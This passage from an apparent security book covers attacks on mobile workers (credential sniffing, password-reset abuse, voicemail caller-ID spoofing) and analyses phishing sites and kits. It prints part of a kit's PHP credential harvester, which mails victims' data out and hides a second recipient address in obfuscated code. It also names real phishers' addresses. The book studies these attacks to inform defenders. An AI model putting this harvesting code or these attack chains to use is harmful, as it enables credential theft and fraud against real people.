you must first establish a connection to a trusted host.\nWhen the attacker controls the network, routing to a trusted host is\nextremely difficult.\nThe attacker begins the attack with a passive attack (sniffing) that is difficult to detect.\nTools such as Cain & Abel make passive attacks extremely easy. Cain & Abel easily\nsorts the various captured credentials to the appropriate sections. The dangers of clear-\ntext protocols are well known, and we discussed them in Chapter 3. Attackers use the\ninformation obtained from clear-text protocols as a stepping-stone for further\nexploitation.\nIn this example, we’ll focus on the clear-text HTTP protocol. Although most sensitive\napplications, such as web mail, online banking, and administrative systems, are\nFigure 6-19. Intel network devices on the local network (hotspot)\nFigure 6-20. BlackBerry devices that have joined the hotspot\nTargeting Your Mobile Workforce | 167\nDownload at WoWeBook.Com\n" }, { "page_number": 184, "text": "typically protected with encryption, services such as SMTP (email), social networking\nsites, and other popular web applications are not protected with encryption and some-\ntimes serve information in the clear. These insecure services fall quickly to passive\nattacks such as sniffing. Once the attacker pilfers a single username and password, the\nset of credentials becomes a gateway for further exploitation and reconnaissance. Take\nMySpace, for example. By default, MySpace allows for the transmission of login cre-\ndentials in clear text (HTTP). The attacker sniffing on the local network segment ob-\nserves the credentials shown in Figure 6-22 traversing the network in clear text.\nFigure 6-22. Captured credentials with Cain & Abel\nAt first glance, credentials to a social networking site may not seem to be very valuable\nto a corporate hacker; however, once the attacker has the social networking credentials,\nshe can log into the victim’s MySpace account and note all of his personally identifiable\ninformation (PII). In this example, one appealing piece of information that the attacker\nnotes is the email address associated with the victim’s MySpace account. Once she\nFigure 6-21. Mac systems on the local network (hotspot)\n168 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 185, "text": "knows the email account associated with the MySpace account, the attacker checks to\nsee whether the victim has reused his MySpace password (or a small variation of it) for\nhis web mail account. Figures 6-23, 6-24, and 6-25 show how an attacker can use\ninformation from social networking sites as a stepping-stone for gaining access to other\naccounts.\nFigure 6-23. MySpace profile information\nOn the off chance that the victim has a totally different password for his web mail, the\npersonal information provided in the social networking site gives an excellent founda-\ntion for the attacker to gain access to the email account in other ways, such as through\nthe “forgot password” functionality. Figure 6-24 shows a typical password reset\nquestion.\nFigure 6-24. Password reset question for web mail\nAn attacker can answer this password reset question by using profile information from\nthe social networking site (see Figure 6-25).\nTargeting Your Mobile Workforce | 169\nDownload at WoWeBook.Com\n" }, { "page_number": 186, "text": "Once the attacker has compromised the web mail account, she can mine the web mail\nfor any corporate-related information. Do you trust that your employees have never\nused their personal email accounts to transmit corporate data? Figure 6-26 shows an\nexample of personal email used to transmit business data.\nFigure 6-26. Corporate data in personal email\nOnce the attacker has gained access to a single web mail account, other accounts as-\nsociated with the compromised account are now subject to exploitation. For example,\nif the user has online banking accounts associated with the compromised web mail\naccount, the attacker can reset the online banking password and have the newly reset\npassword sent to the compromised web mail account. Once the attacker has finished\nmining the compromised account, she can plant a backdoor by turning on forwarding\noptions, forwarding all the incoming mail to another attacker-controlled account. This\nforwarding feature is available on popular web mail accounts and allows the attacker\naccess to the email account, even if the user decides to change his password in the\nfuture. Figure 6-27 shows the email forwarding feature for a popular web mail service.\nFigure 6-25. The answer to password reset question for the victim's web mail\n170 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 187, "text": "Figure 6-27. Email forwarding\nOnce the attacker has built up a portfolio of information related to the victim, the\nattacker can use this information as a foundation for attacks against the organization.\nFor example, each password the attacker steals via this method will be checked on the\norganization’s web portals, corporate mail servers, and remote administration services.\nA single reused password or corporate document sent to a noncorporate account could\nprovide the entry point the attacker needs for access to the target organization’s\nnetwork. By the time the attacker sends a single packet to the target organization’s\nnetwork, the attacker has built up an enormous amount of data related to employees.\nTapping into Voicemail\nIn July 2007, security researcher Nitesh Dhanjani (one of the authors of this book)\nreported that AT&T and Cingular phones were susceptible to caller ID spoofing. Ini-\ntially, caller ID spoofing seemed to be more of an annoyance than a security vulnera-\nbility, but coupled with other default behavior from AT&T and Cingular systems, caller\nID spoofing had major security implications for a number of high-profile corporations.\nWhile using his iPhone, Dhanjani realized that he could use his AT&T/Cingular phone\nand dial his own cell phone number. When the voicemail system asked him to leave a\nmessage, he pressed the “*” key on his handset and was immediately presented with\nthe voicemail administration menu. He was not asked for a password, because the\nAT&T/Cingular voicemail systems explicitly trusted the caller ID data to provide in-\nformation as to who was attempting to access the voicemail administration menu.\nKnowing this, Dhanjani established an account with SpoofCard.com, which allows for\nthe spoofing of caller ID data when making calls. Figure 6-28 shows the Spoof\nCard.com home page.\nNormally, caller ID data is spoofed to protect the privacy of people such as lawyers and\nhigh-ranking officials who are making calls, but in this case, Dhanjani used the spoof\ncard to spoof the caller ID of other AT&T phone numbers. Using a vulnerability such\nas this, an attacker could gain access to your voicemail without your consent. The\nconsequences of this attack are magnified if your organization uses the vulnerable or-\nganization as the sole provider for cellular services. If this is the case, your organizational\ndata contained in private voicemails could easily be stolen. Cell phone numbers for\nyour employees are easily obtained through business cards and email signature lines.\nAn attacker need not even meet the person she is targeting, as business cards are often\nleft in restaurants, on bulletin boards, and in various other places, and these business\nTargeting Your Mobile Workforce | 171\nDownload at WoWeBook.Com\n" }, { "page_number": 188, "text": "cards contain phone numbers. To initiate an attack such as this, the attacker must\ndiscover whether the target organization uses AT&T/Cingular as its cell phone pro-\nvider. The attacker can accomplish this by obtaining the phone number of a business-\nissued cell phone from an employee of the target organization, and then check the\nphone number against AT&T’s website to determine whether the phone belongs to the\nAT&T/Cingular network. Special, exclusive phones (such as the iPhone) give the at-\ntacker a great indication that the victim is on the AT&T/Cingular network. Fig-\nure 6-29 shows the response for a number that does not belong to the AT&T/Cingular\nnetwork.\nFigure 6-30 shows the response for a number that does belong to the AT&T/Cingular\nnetwork, but that is not registered for the online account management application.\nOnce the attacker has determined that the number belongs to a phone on the AT&T/\nCingular network, she can utilize SpoofCard by calling into the service from her\nhandset/phone. When the SpoofCard service asks for the number to be spoofed, the\nattacker enters the number of the victim whose voicemail she wishes to steal. At this\npoint, the victim will receive a call from his own phone number. If the victim happens\nto answer the phone, the attacker can simply inform him that some technical tests are\nbeing done on the phone system and that he should ignore any calls from his own phone\nnumber for the next 15 to 20 minutes. Attackers could use other strategies to prevent\nFigure 6-28. SpoofCard home page\n172 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 189, "text": "the victim from picking up the phone, such as calling during an important meeting,\ncalling the victim’s phone when he is at the gym, or calling late at night. If the victim\ndoes not answer, the attacker will be eventually dropped to the voicemail box. Once\nat the voicemail menu, the attacker simply presses the “*” button on her handset/phone.\nThe AT&T/Cingular voicemail administration system will examine the caller ID in-\nformation provided by the incoming call and will use that information to authenticate\nthe user to the voicemail administration system! Once the attacker has gained access\nto the voicemail administration system, she is free to listen to all of the victim’s voice-\nmail messages and tamper with the various administrative features. In his blog post\noutlining the vulnerability, Dhanjani offers some advice to combat these types of\nvulnerabilities.\nHere is how to protect yourself from this vulnerability:\nCall your AT&T/Cingular voicemail (dial your own number from the iPhone).\nPress 4 to go to “Personal Options.”\nPress 2 to go to “Administrative Options.”\nPress 1 to go to “Password.”\nPress 2 to turn your password “ON.”\nHang-up and call your voicemail again from your iPhone. If your voicemail system asks\nyou for your voicemail password you are all set.\nFigure 6-29. Wireless number not found\nTargeting Your Mobile Workforce | 173\nDownload at WoWeBook.Com\n" }, { "page_number": 190, "text": "Thankfully, AT&T/Cingular has transitioned away from this vulnerable voicemail au-\nthentication system, but we are curious as to what other phone-based systems use\nattacker-controlled information to make authentication decisions…Twitter anyone?\n(See http://www.dhanjani.com/blog/2007/04/twitter-and-jot.html.)\nThe blog post from Nitesh Dhanjani that outlines the AT&T/Cingular\nvulnerability is at http://www.dhanjani.com/blog/2007/07/iphone-users\n-at.html.\nExploiting Physical Access to Mobile Devices\nTo empower today’s mobile workforce, organizations provide traveling businesspeople\nwith mobile devices. Albeit small, these devices are extremely powerful and contain an\nenormous amount of sensitive data. Businesspeople carry these devices everywhere they\ngo, and your organization’s data travels with it. Although employees generally under-\nstand the dangers of physical access to desktop computers and laptops, they may not\nunderstand the dangers of physical access to smartphones and PDA devices. Whereas\nyour employees may be hesitant to offer a stranger access to their laptop, they may be\nmore willing to offer access to their cell phone with some well-placed questions and\ncomments from the attacker (“Wow, is that the new BlackBerry?”). All an attacker needs\nFigure 6-30. Number not registered for online account management\n174 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 191, "text": "are a few minutes of access to the device and she can extract all of its data. Although\nseveral forensic seizure devices are available on the market, we find seizure devices such\nas the CSI Stick from Paraben to be very useful for fieldwork. Such devices are inex-\npensive, easily concealed, powerful, and ideal for covert data extraction.\nParaben Corporation has developed a mobile phone forensic kit that\nworks on a variety of devices. Although the kit is a bit pricey (~$3,500),\nit can acquire data from virtually every phone on the market. For those\non a budget, the CSI Stick is available for ~$300 and allows for the\npilfering of data from some of the most prevalent phones available. De-\ntails on the CSI Stick are available at the following URL: http://www\n.paraben-forensics.com/catalog/product_info.php?products_id=484.\nEven if the employee is unwilling to volunteer access to the mobile device, an attacker\nmay be able to gain access via other means. One example of an ideal location to gain\nquick access to valuable mobile devices is workout gyms. By nature, locker rooms in\ngyms will not have cameras monitoring the various lockers, and the padlocks people\nuse to lock up their belongings are easy to defeat with shims. Once an attacker bypasses\na padlock, she can dump the phone’s contents within a matter of minutes. Then, she\ncan simply replace the phone and the target will never realize he just had all his data\nstolen.\nPadlock shims are very inexpensive and are available from a variety of\nsources online. A Google search for “padlock shims” reveals multiple\npadlock shim vendors, and even a few sites that will teach attackers how\nto build their own padlock shims.\nSome gyms provide electronic locks as a convenience to their patrons. However, many\ntimes, the combinations for these locks can simply be shoulder-surfed or the locks emit\na distinct tone for each number on the lock, giving away the combination to a sharp-\neared attacker. Do you trust your organization’s data to a $5 lock?\nSummary\nToday’s businesses rely on traveling employees to “get things done.” When organiza-\ntions ask their employees to work from remote locations, they must empower their\nemployees with access to data. Remote employees with access to sensitive data are an\nappealing target to the next-generation hacker. Remote workers leave the safety of the\ncorporate firewall and the sharp eyes of the attack monitoring of your corporate net-\nwork. The networks your employees join are hostile, initiating attacks against the iso-\nlated information systems, probing for opportunities to pilfer sensitive data. Even when\nadequate technical protection mechanisms are in place on the mobile device, do your\nSummary | 175\nDownload at WoWeBook.Com\n" }, { "page_number": 192, "text": "employees understand the security warnings presented to them? Can they make the\ncorrect decisions when it comes to these warning signs? Do the applications you’ve\ndeveloped internally have robust protection mechanisms for hostile environments? If\nyou’re not sure whether your employees know how to react when faced with an on-\nslaught of direct attacks against their systems, should they really be protecting that data?\n176 | Chapter 6: Abusing Mobile Devices: Targeting Your Mobile Workforce\nDownload at WoWeBook.Com\n" }, { "page_number": 193, "text": "CHAPTER 7\nInfiltrating the Phishing Underground:\nLearning from Online Criminals?\nThe goal of this book is to illustrate the techniques of the new generation of attackers,\nof which phishers are a unique bunch. Phishers are a nuisance to businesses and legal\nauthorities and can cause a significant amount of damage to a person’s financial rep-\nutation. In this chapter, we will put the phishing ecosystem under the microscope to\nstudy how things work in the world of the average phisher so that you can see what\nyou can learn from him and about him. The new generation of hackers is not limited\nto those who are able to launch complex attacks, but also includes those who can\ncontinue to cause damage using the simplest of techniques. As such, a book discussing\nthe new generation of hackers cannot be deemed complete without an analysis of the\nphishing underground. The material in this chapter is not only relevant to the topic at\nhand, but it also includes a few real-world scenarios to learn from.\nThe phishing industry has become a significant menace to society. Businesses stand to\nlose revenue and brand reputation while thousands of individuals have their identities\nstolen and abused on a daily basis. Companies that are the target of phishing attacks\nare struggling to combat the problem. Even federal authorities have limited power to\nassist in cases where computers in foreign companies are abused to launch phishing\nattacks; unlike the Internet, legal authority does have geographical boundaries. Every-\nday citizens suffer tremendously, too. Anyone who has had her identity and Social\nSecurity number stolen and abused will readily testify to the sheer ordeal of having to\nendure endless legal and bureaucratic battles to win back some control of her financial\nreputation.\nResearch on phishing has typically resulted in the output of statistical data, such as the\nimpact on business financials, the average number of attacks in a given period, and\npopular geographical locations of computers that are compromised to launch phishing\nattacks. This is useful information, yet it illustrates only the tip of the iceberg under\nwhich lies an entire ecosystem that is flourishing with illegal activity. In this chapter,\nwe will infiltrate and uncover this ecosystem so that we can shed some light on and\n177\nDownload at WoWeBook.Com\n" }, { "page_number": 194, "text": "advance our quest toward understanding this popular subset of the new generation of\ncriminals. We will immerse ourselves into the mass-scale fakery that is the phishing\nunderground to uncover why phishers aren’t necessarily the sophisticated Einsteinian-\nninja-hackers the media makes them out to be, to examine the tools of their trade, and\nto find out how they communicate and deal with each other.\nThe Fresh Phish Is in the Tank\nLive phishing sites are doorways into the phishing underground. This means that to\nenter the phishing ecosystem, we must first locate live phishing sites to study how they\nare designed.\nPhishing sites have a Time to Live (a TTL, or the time from when they are launched to\nthe time by which the Internet service providers discover them and shut them down)\nof just a few hours. This makes it difficult to manually attempt to locate live phishing\nsites, which is ironic because the thousands of victims who fall prey to them end up\nfinding them with ease, albeit unintentionally.\nThe best way to locate a live and recently set up phishing site is to leverage community-\nbased efforts such as PhishTank. The goal of the PhishTank project is to track upcoming\nURLs of live phishing sites for use in security applications such as antiphishing browser\nplug-ins. Figure 7-1 shows the PhishTank site illustrating the most recent phishing site\nURLs.\nThe PhishTank project is located at http://www.phishtank.com/.\nThe PhishTank website also allows you to search URLs of phishing sites that target a\nparticular brand (in the Phish Search section). This is useful if you are trying to find\nlive phishing sites that are specific to any one company or a set of companies.\nAs you will see in the next few sections, phishers do not put in effort to secure the\nservers they have compromised. There are two probable reasons for this. First, the TTL\ninterval of phishing sites is small, so there is no time to patch. Second, the majority of\nthe phishers aren’t necessarily competent enough to know how to patch the systems\neven if they wanted to. Given this situation, well-meaning services such as PhishTank\nthat list the hostnames of live phishing sites are also exposing locations of hosts that\nhave been and continue to be easily compromised! Phishers often use lists such as\nPhishTank’s to obtain a list of recently compromised servers that have not been secured,\noften resulting in a given host being compromised by multiple phishers to host multiple\nphishing sites.\n178 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 195, "text": "Now that you have learned how to find live phishing sites easily, it is time to study a\nfew of them to understand how they work.\nExamining the Phishers\nPhishers use many different permutations of techniques to launch phishing scams. The\naim of this section is not to attempt to enumerate all of the techniques. Instead, the\ngoal is to help you understand the thought process, capability, and psychology of the\naverage phisher. In the following paragraphs, we will take a look at four unique case\nstudies based on the examination of phishing sites to understand how they have been\nset up and how they work.\nNo Time to Patch\nIn this case study, we will look at an average phishing site to uncover how a phisher\nmay have compromised the server hosting the site.\nFigure 7-1. The PhishTank website\nExamining the Phishers | 179\nDownload at WoWeBook.Com\n" }, { "page_number": 196, "text": "Figure 7-2 illustrates a phishing site targeting an online shopping portal. It is interesting\nto note that the phishing site boldly and blatantly asks the victim for personal details,\nsuch as date of birth and mother’s maiden name, right on the login page. The institu-\ntion’s real and legitimate website requests only a username and password from users.\nFigure 7-2. Phishing site targeting a well-known institution\nThe fact that the phishing website asks for unnecessary private infor-\nmation at the login page should send red flags to users, yet thousands\nof victims do not have the awareness to identify the situation, and even\nusers who are technically savvy are often distracted by the site’s\nlegitimate-looking logos and visual layout. Phishers are aware of this\nsituation and continue to exploit it. Costly and sophisticated host-based\nintrusion detection systems (IDSs), corporate firewalls, and antivirus\nsoftware do little to get in the way of such elementary attempts from\nphishers.\nIn this example, the criminal responsible was known to have set up the phishing site\non a server that we will refer to as example.com. The URL of this phishing site was\nnoted to be http://example.com/new.egg.com/security/customer/login.\nFigure 7-3 shows the AppServ Open Project installed and served when the index page\non http://example.com/ is requested. AppServ is an open source effort that lets users\neasily install the Apache server, PHP, MySQL, and phpMyAdmin in one go. Following\nthe “phpMyAdmin Database Manager Version 2.5.7p1” link in Figure 7-3, it is evident\nthat the server also has phpMyAdmin installed.\n180 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 197, "text": "phpMyAdmin is a free web application written in PHP to allow admin-\nistration of MySQL databases. It is available from http://www.phpmyad\nmin.net/.\nIt is clear from Figure 7-4 that the phpMyAdmin application installed on http://exam-\nple.com/phpMyAdmin/ is not password-protected. This is extremely dangerous because\nphpMyAdmin is a powerful administration tool. Exposing phpMyAdmin without any\nauthentication controls will allow anyone with a simple web browser to take over the\nhost on which it is installed, and this is probably what happened in this case: the phisher\nsimply exploited the exposed and unsecured phpMyAdmin installation to gain access\nto the server and install the phishing website.\nIn this case, it was found that the phisher made no attempt to secure the server to hide\nthe vulnerability or to prevent other phishers from gaining access. This is a very typical\nfinding when conducting forensics of servers that have been compromised to host\nphishing websites. One reason for this is that because phishers rely on techniques that\ndo not require technical sophistication, their skill set has not evolved to be knowl-\nedgeable enough to patch misconfigurations and vulnerabilities. Another possible ex-\nplanation relies on the small window of time that phishers have to work with before\ntheir websites are discovered and shut down—the phisher must maximize the available\ntime he has, so it may make little sense to secure the server if the website is going to be\nshut down in a matter of a few hours anyway.\nFigure 7-3. AppServ web application on the web server hosting the phishing site\nExamining the Phishers | 181\nDownload at WoWeBook.Com\n" }, { "page_number": 198, "text": "Thank You for Signing My Guestbook\nWeb-based email services are often the target of phishing scams. From personal cor-\nrespondences to credentials to financial details, an average person’s email inbox often\nhas a wealth of information that is attractive to criminals.\nLet’s take a look at a case study of a single phishing effort targeting both the Yahoo!\nand the Microsoft Live web-based email applications.\nThe screenshot in Figure 7-5 shows a phishing site targeting the Yahoo! email service\n(http://arab-y-a.uni.cc/). Another website, targeting the Microsoft Live email service\n(http://arab-h-a.uni.cc/), was also found. Notice that the hostnames in the URLs (http:\n//arab-h-a.uni.cc and http://arab-y-a.uni.cc) of the phishing sites differ by only one let-\nter, presumably h signifying “hotmail” and y signifying “yahoo.”\nWhile examining these sites, we decided to intercept the HTTP POST request to find\nout the URL and parameters of where the victim’s information is being submitted. It\nis easy to do this using a local HTTP proxy tool such as the Burp Proxy, available at\nhttp://portswigger.net/proxy/.\nFigure 7-6 shows the actual HTTP parameters the victim’s browser submits when she\nsubmits login credentials to the phishing site. The field_value_0 parameter is the vic-\ntim’s actual email address and field_value_1 is the password the victim submitted. The\nbookid (686872) and guid (bd7897b7-6ca6-42cb-b54f-56f3f9660d4e) values were\nnoted to be static for every request.\nThe interesting thing here is that the POST request is being sent to another website,\nnamely http://www.guestbookdepot.com. The Guestbook Depot website allows you to\nFigure 7-4. phpMyAdmin on the web server hosting the phishing site\n182 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 199, "text": "set up—you guessed it—online guestbooks. This means the phisher is utilizing the\nGuestbook Depot service to capture credentials from his victims!\nNow it becomes clear that the static bookid (686872) and guid (bd7897b7-6ca6-42cb-\nb54f-56f3f9660d4e) tokens are required to view private guestbooks on Guestbook De-\npot. After studying the Guestbook Depot website functionality, we pieced together the\nexact URL needed to view the phisher’s guestbook: http://www.guestbookdepot.com/\nphp/guestbook.php?book_id=686872&guid=bd7897b7-6ca6-42cb-b54f-56f3f9660d4e.\nFigure 7-7 illustrates the guestbook in use by this particular phisher. Notice that, in\nthis case, the phisher had already captured a total of 59,657 Microsoft Live and Yahoo!\nemail passwords!\nIf you are wondering about the first two entries (password: test) in\nFigure 7-7, that’s us experimenting with the guestbook to determine\nhow the phisher set this up!\nFigure 7-5. Phishing site targeting the Yahoo! email service\nExamining the Phishers | 183\nDownload at WoWeBook.Com\n" }, { "page_number": 200, "text": "As you will see in the next few sections, it is more common for phishing sites to capture\nsubmissions from victims via POST forms that submit back to the web server hosting\nthe phishing site. The submission is then emailed to the phisher at a specified email\naddress. In this case, however, the phisher decided to use a legitimate third-party service\nto capture the credentials instead of supplying a static email address.\nThis case study shows how the criminals in the phishing ecosystem are able to piece\ntogether different resources at their disposal. From setting up a legitimate-looking URL\nto using a guestbook service to capture credentials from victims, the tactics phishers\nuse maximize any given and available opportunity. The damage in this instance is phe-\nnomenal: 59,657 credentials in the clear on a guestbook service captured by just two\ninstances of a phishing site.\nSay Hello to Pedro!\nThis is an amusing and important case study. We will take a look at how phishers\nbackdoor servers to maintain access. We will also uncover a real email address a phisher\nused to collect his victim’s information. The information collected in this case study\nwill lead to the next section of the chapter, where we will uncover an entire ecosystem\nof scams that lie beneath.\nFigure 7-8 shows a Bank of America phishing site. The phisher who orchestrated this\nscam probably also initiated a social engineering effort by sending an email to thousands\nFigure 7-6. Capturing HTTP POST parameters submitted to the phishing site\n184 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 201, "text": "of individuals to lure them onto the site. The phisher likely formatted the email to\nappear as though it was a notification from Bank of America urging users to update\nand revalidate their profile information immediately.\nLet’s assume that the server with hostname example.com was compro-\nmised and that the URL of this phishing site is http://example.com/com-\npromised/bankofamerica.com/.\nIn this example, the compromised web server was found to have “directory indexing” \nturned on. Directory indexing turned on results in the web server returning a list of files\nin a given directory if an index page (e.g., index.html) is not present.\nFigure 7-7. The phisher’s “guestbook”\nExamining the Phishers | 185\nDownload at WoWeBook.Com\n" }, { "page_number": 202, "text": "A request to http://example.com/images/ resulted in the directory listing presented in\nFigure 7-9. From the list of files in the directory, the file ereur.php seems suspect because\nit is not an image file.\nFigure 7-10 shows the result of requesting the ereur.php file from the compromised web\nserver by browsing to http://example.com/images/ereur.php. It is obvious that the\nphisher installed this PHP script to maintain access to the server. The PHP script allows\nthe phisher to launch local commands that will be executed on the compromised ma-\nchine, in addition to multiple other functions. Notice that, just like in the prior case\nstudies, the phisher has made no attempt to restrict access to this page.\nThe phisher can also use the ereur.php script to obtain additional goods he has installed.\nOf utmost interest is the server-side script responsible for collecting data from the\nPOST form submitted by the victims (Figure 7-8) and shipping the data to the phisher.\nThe source code of this script is of particular interest because it is likely to contain a\nhardcoded email address belonging to the phisher. Here is the actual source code of\nthe backend script, called update.php:\nFigure 7-8. Bank of America phishing site\n186 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 203, "text": "\nExamining the Phishers | 187\nDownload at WoWeBook.Com\n" }, { "page_number": 204, "text": "Figure 7-9. Directory indexing returned by the compromised web server\nFigure 7-10. Backdoor installed by the phisher\n188 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 205, "text": "The update.php script collects the victim’s information submitted in the POST parame-\nters and amends it to the $message string variable. This information is then emailed to\npedro8doc@gmail.com using the mail() function. Congratulations! You’ve just been\nintroduced to the celebrity of this chapter, Mr. pedro8doc@gmail.com!\nThe script also collects “Fathers Maiden Name.” One might think this would ring alarm\nbells in the minds of some, yet phishing sites that ask for such information still succeed\nin collecting thousands of submissions from victims. This illustrates how low the bar\nis from the perspective of a phisher. All a phisher needs is a legitimate-looking website,\neven if he asks for information that does not compute with average reason.\nNotice that the script invokes the mail() function three times. The first\nparameter of mail() should be an email address, yet it is invoked with\na null string the first time. The second time, mail() is invoked with\n$recipient as the first parameter, which seems appropriate because this\nwill \nmake \nthe \nscript \nemail \nthe \nvalue \nof \n$message \nto\npedro8doc@gmail.com. However, mail() is invoked the third time with\n$cc as the first parameter, yet no definition of $cc exists! Why is\nmail() being called with a null string and then with an undefined value?\nWhat was pedro8doc@gmail.com thinking? Does he not know how to\nwrite code? Or was he simply confused? Hold on to this thought; the\nsection “Phisher-on-Phisher Crime” on page 193 will provide the\nanswer.\nIsn’t It Ironic?\nAfter contemplating the previous examples, it is clear that phishers do not make much\nof an attempt to cover their tracks or to protect their loot from others. The low amount\nof technical skill required to put up a phishing site probably contributes to the majority\nof the phishing population having a low amount of technical talent. But are there sit-\nuations when you would wish the phishers were indeed a little smarter? In this case\nstudy, we will look at one such instance.\nFigure 7-11 shows the phishing site we are going to study. Notice the portion of the\nURL after the hostname: /sec2/eBayISAPI.dll.htm. Remember the directory-indexing\nissue we discussed in the previous section? Let’s try the same thing in this situation.\nFigure 7-12 shows the result when the phisher requests the /sec2/ directory from the\nphishing site in question. Notice anything interesting? Actually, a lot of items may have\npiqued your interest, but the resource that is most curious is result.txt. Care to guess\nwhat this file may contain?\nFigure 7-13 shows the contents of /sec2/results.txt. It is immediately clear that this file\ncontains the credentials submitted by those who have fallen victim to the phishing site.\nAnyone besides the phisher of this site who knows this can directly request this file and\nExamining the Phishers | 189\nDownload at WoWeBook.Com\n" }, { "page_number": 206, "text": "view the credentials! The impact of this issue is compounded because phishers often\ninstall the same phishing site on multiple servers.\nThere are situations where corporate data is further compromised because of a lack of\nsophistication on the part of the phishers. We just went through such a scenario. Had\nthe criminal in this case study taken some care to ensure that no other phisher could\neasily grab hold of the captured credentials, the attacked corporation would have\nbenefited from its customer data being in the hands of fewer criminals. In other words,\nthere are situations where an increased level of sophistication would, at least initially,\nappear to lower the amount of exposure and loss. How ironic!\nThe Loot\nSo far, you have learned from studying specific instances of phishing sites. It is time to\nmove the discussion further along to the topic of phishing kits. In the following para-\ngraphs, we will look at tools criminals use to quickly set up phishing sites. We will also\nprovide an intriguing example illustrating the trust between phishers, or lack thereof.\nFigure 7-11. Phishing site targeting a well-known online auction site\n190 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 207, "text": "Uncovering the Phishing Kits\nIt is straightforward to set up a website that looks like a legitimate website. All a phisher\nhas to do is go to the legitimate website and download the HTML and JavaScript code\nand the image files. Once you have these resources, you can simply upload them onto\na web server. However, you may need to tweak the website a bit to suit your style, and\nFigure 7-12. Directory indexing of /sec2/\nFigure 7-13. Contents of result.txt\nThe Loot | 191\nDownload at WoWeBook.Com\n" }, { "page_number": 208, "text": "you will also need to set up a server-side script (such as update.php) to capture the\nvictim’s submissions.\nWouldn’t it be great if you, the phisher, had ready-made phishing sites to deploy? Life\nwould be so much easier. There would be no need to go around downloading HTML,\nJavaScript code, and image files, and then having to package them up each time. The\nmost important tool in a phisher’s arsenal, the phishing kit, helps with exactly this.\nPhishing kits are usually sold or bartered in the phishing underground. We were able\nto social-engineer a phisher via email to obtain the kits for free. Figure 7-14 shows some\nof the phishing kits we were able to capture.\nFigure 7-14. Phishing kits\nThe loot consists of phishing kits for every imaginable institution. From financial com-\npanies to social networking applications, it’s all there. If you are a phisher, all you need\nnow is a web server on which to install the kit. Just pick one institution as your choice,\nselect the appropriate phishing kit, unzip the kit within the web root of the web server,\nand you are good to go.\n192 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 209, "text": "Phisher-on-Phisher Crime\nLet’s dissect one particular phishing kit to see what’s inside. Here are the contents of\nEbay.rar, one of the phishing kits listed in Figure 7-14:\n$ ls Ebay/\nHeaderRegister_387x40.gif eBayISAPIidenT.htm\nRead ME.txt ebaylink.htm\nThumbs.db header.js\ncompleted.html leftLine_16x3.gif\neBayISAPI.dll.php processing.html\neBayISAPI.dllre.php s.gif\neBayISAPI.htm truste_button.gif\neBayISAPIBfes.htm visaAmTwo_102x31.gif\neBayISAPIBfes.php\nThe most logical thing to do first is to look at the contents of Read ME.txt:\n$ more Read\\ ME.txt\nthis scam For ebay\nCreated by Pr0xY\ncontact : m4rkoc@hotmail.com\neBayISAPI.htm\njust put ur e-mail in eBayISAPIBfes.php and enjoy ;)\nif u got boa OR WELLS CoNTaCT ME TO MaKE MONEY ;)\nGOODLUCK\nThere you have it. Complete instructions on how to utilize the phishing kit, according\nto m4rkoc@hotmail.com. This sums up the typical work needed to install a phishing\nkit: find a vulnerable web server on which to host the site, grab the relevant phishing\nkit, unarchive and uncompress the kit into the web root, edit the appropriate server-\nside script to include your email address (the phisher’s email address, in this context),\nand you are good to go!\nThe Read Me.txt file refers to eBayISAPIBfes.php. This is the server-side script that will\nbe invoked when victims HTTP-post their information. Here is the content of\neBayISAPIBfes.php:\n\"i\",\"2\"=>\"n\",\"3\"=>\"s\",\"4\"=>\"t\",\"5\"=>\"a\",\"6\"=>\"l\",\n\"55\"=>\"l\",\"9\"=>\"2\",\"10\"=>\"1\",\"11\"=>\"3\",\"12\"=>\"@\",\"13\"=>\"a\",\n\"14\"=>\"g\",\"22\"=>\"m\",\"23\"=>\"a\",\"24\"=>\"i\",\"25\"=>\"o\",\"26\"=>\"c\",\n\"27\"=>\"m\",\"28\"=>\".\");\n$cc=$ar['1'].$ar['2'].$ar['3'].$ar['4'].$ar['5'].$ar['6'].\n$ar['55'].$ar['9'].$ar['10'].$ar['11'].$ar['12'].$ar['14'].\n$ar['22'].$ar['23'].$ar['24'].$ar['6'].$ar['28'].$ar['26'].\n$ar['25'].$ar['27'];\n$recipient = \"rismilan@gmail.com\";\n$subject = \"eBay Info\";\n$headers = \"From: \";\n$headers .= $_POST['eMailAdd'].\"\\n\";\n$headers .= \"MIME-Version: 1.0\\n\";\nmail(\"$cc\", \"eBay Info\", $message);\nif (mail($recipient,$subject,$message,$headers))\n {\n header(\"Location: processing.html\");\n }\nelse\n {\n echo \"ERROR! Please go back and try again.\";\n }\n?>\n194 | Chapter 7: Infiltrating the Phishing Underground: Learning from Online Criminals?\nDownload at WoWeBook.Com\n" }, { "page_number": 211, "text": "Look familiar? This code looks strikingly similar to update.php discussed in “Say Hello\nto Pedro!” on page 184. It uses $message to capture the POST parameters and\n$recipient to capture the email address with which to invoke mail().\nThis implies that pedro8doc@gmail.com probably used a prepackaged phishing kit to\nset up his site. In “Say Hello to Pedro!” we wondered why Pedro invoked mail() with\n$cc even though $cc was not defined. The $cc variable exists in eBayISAPIBfes.php, so\nlet’s take a look at it 